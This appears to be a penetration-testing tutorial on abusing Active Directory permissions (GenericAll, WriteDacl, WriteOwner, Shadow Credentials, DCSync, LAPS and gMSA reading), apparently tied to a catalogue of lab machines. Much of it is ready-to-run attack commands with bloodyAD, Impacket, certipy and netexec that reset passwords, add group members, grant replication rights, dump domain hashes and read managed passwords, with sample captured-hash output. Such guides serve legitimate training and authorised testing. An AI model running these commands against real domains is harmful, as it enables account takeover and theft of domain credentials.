Active Directory ACL abuse: GenericAll, WriteDacl, Shadow Credentials and DCSync

What to do with each BloodHound edge: reset passwords, add yourself to groups, Shadow Credentials, grant yourself DCSync with WriteDacl, read LAPS or gMSA.

2 Nov 2026 · 4 min read

Every Active Directory object (a user, a group, a computer, the domain itself) has a list of permissions: who can read it, reset its password, modify its attributes or its own permissions. When that list gives too much to the wrong principal, an edge appears in BloodHound. That is ACL abuse, present on more than 30 machines in the catalogue. If you do not have the graph yet, start with the AD enumeration guide.

The table: each right and its abuse

Right over...	What you can do
User: `GenericAll`, `AllExtendedRights`, `ForceChangePassword`	Reset their password
User: `GenericAll`, `GenericWrite`, `WriteProperty`	Shadow Credentials, targeted Kerberoasting or a logon script
Group: `GenericAll`, `GenericWrite`, `AddMember`, `AddSelf`	Add yourself to the group
Any object: `WriteDacl`	Grant yourself `GenericAll` (then the rows above)
Any object: `WriteOwner`	Become the owner, and the owner can change the DACL
Computer: `GenericAll`, `GenericWrite`, `WriteProperty`	RBCD or Shadow Credentials on the computer (delegation)
Domain: `GetChanges` + `GetChangesAll`	DCSync: every hash in the domain
Domain: `WriteDacl`	Grant yourself DCSync
`ReadLAPSPassword` / `ReadGMSAPassword`	Read the local admin password or the gMSA account's password

We will use bloodyAD, which does almost everything from Linux with a consistent syntax. The Impacket and PowerView alternatives are in the Active Directory cheat sheet.

alias bad='bloodyAD --host 10.10.10.10 -d corp.local -u user -p "Password1"'

Resetting another user's password

bad set password victim 'NewPass123!'
# With Impacket / Samba
impacket-changepasswd corp.local/[email protected] -newpass 'NewPass123!' -altuser user -altpass 'Password1' -reset
net rpc password victim 'NewPass123!' -U corp.local/user%'Password1' -S 10.10.10.10

Warning

Resetting a password is noisy and breaks whatever the user was doing. On a real engagement, prefer Shadow Credentials or targeted Kerberoasting, which leave it untouched.

Adding yourself to a group

bad add groupMember 'Remote Management Users' user
bad get object 'Remote Management Users' --attr member      # check it

You must authenticate again for the new group to count: an old ticket or session does not carry it.

Shadow Credentials

If you can write to a user's or computer's msDS-KeyCredentialLink attribute, you add a key of your own and authenticate as them with PKINIT, getting their NT hash without resetting the password (Shadow Credentials). It needs a Windows Server 2016 or later DC with certificates (a CA or a DC certificate).

certipy shadow auto -u [email protected] -p 'Password1' -account victim -dc-ip 10.10.10.10
# [*] NT hash for 'victim': 8846f7eaee8fb117ad06bdd830b7586c

With the hash, log in or keep moving with pass-the-hash. If certipy fails with KDC_ERR_PADATA_TYPE_NOSUPP, the DC does not support PKINIT: use targeted Kerberoasting.

Targeted Kerberoasting

With GenericWrite over a user, give them an SPN, request their ticket and crack it (more in the Kerberoasting guide):

python3 targetedKerberoast.py -d corp.local -u user -p 'Password1' --dc-ip 10.10.10.10 --request-user victim

It only works if the password is weak. If not, Shadow Credentials.

WriteDacl and WriteOwner

WriteDacl lets you edit the object's permissions, so you grant yourself full control and apply the matching row of the table:

bad add genericAll 'CN=Victim,CN=Users,DC=corp,DC=local' user
# Or with Impacket
impacket-dacledit -action write -rights FullControl -principal user -target victim corp.local/user:'Password1'

With WriteOwner, become the owner first:

bad set owner victim user
impacket-owneredit -action write -new-owner user -target victim corp.local/user:'Password1'

DCSync

With replication rights over the domain (Domain Admins, Enterprise Admins and DCs have them, and sometimes sync accounts such as Azure AD Connect's), you ask the DC to "replicate" the secrets of any account to you (DCSync):

# If you have WriteDacl over the domain, grant yourself the right
bad add dcsync user

# Then dump
impacket-secretsdump corp.local/user:'Password1'@10.10.10.10 -just-dc-user Administrator
impacket-secretsdump corp.local/user:'Password1'@10.10.10.10 -just-dc-ntlm
nxc smb 10.10.10.10 -u user -p 'Password1' --ntds

With the administrator's NT hash you own the domain. With krbtgt's, you could forge a golden ticket (the lateral movement guide covers it).

LAPS and gMSA

LAPS stores each computer's local admin password in an attribute only certain groups can read (LAPS). gMSA are service accounts whose password the domain manages (gMSA).

nxc ldap 10.10.10.10 -u user -p 'Password1' -M laps
bad get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd     # legacy LAPS
nxc ldap 10.10.10.10 -u user -p 'Password1' --gmsa
python3 gMSADumper.py -u user -p 'Password1' -d corp.local

Common errors

insufficientAccessRights: the right you see in BloodHound is inherited from a group you are in, but the session you are using predates your joining it. Request the ticket or session again.
The change reverts after a while: some machines run a script that restores permissions or group membership every few minutes. Chain the steps quickly or in a single script.
AdminSDHolder: members of protected groups (Domain Admins, for example) get their original ACLs back every 60 minutes. That is why ACLs over them "disappear".

Examples from the catalogue

Forest (Account Operators → Exchange Windows Permissions → WriteDacl → DCSync), Administrator (a chain of ForceChangePassword and GenericWrite), Certified (WriteOwner and Shadow Credentials), EscapeTwo and Outdated (Shadow Credentials).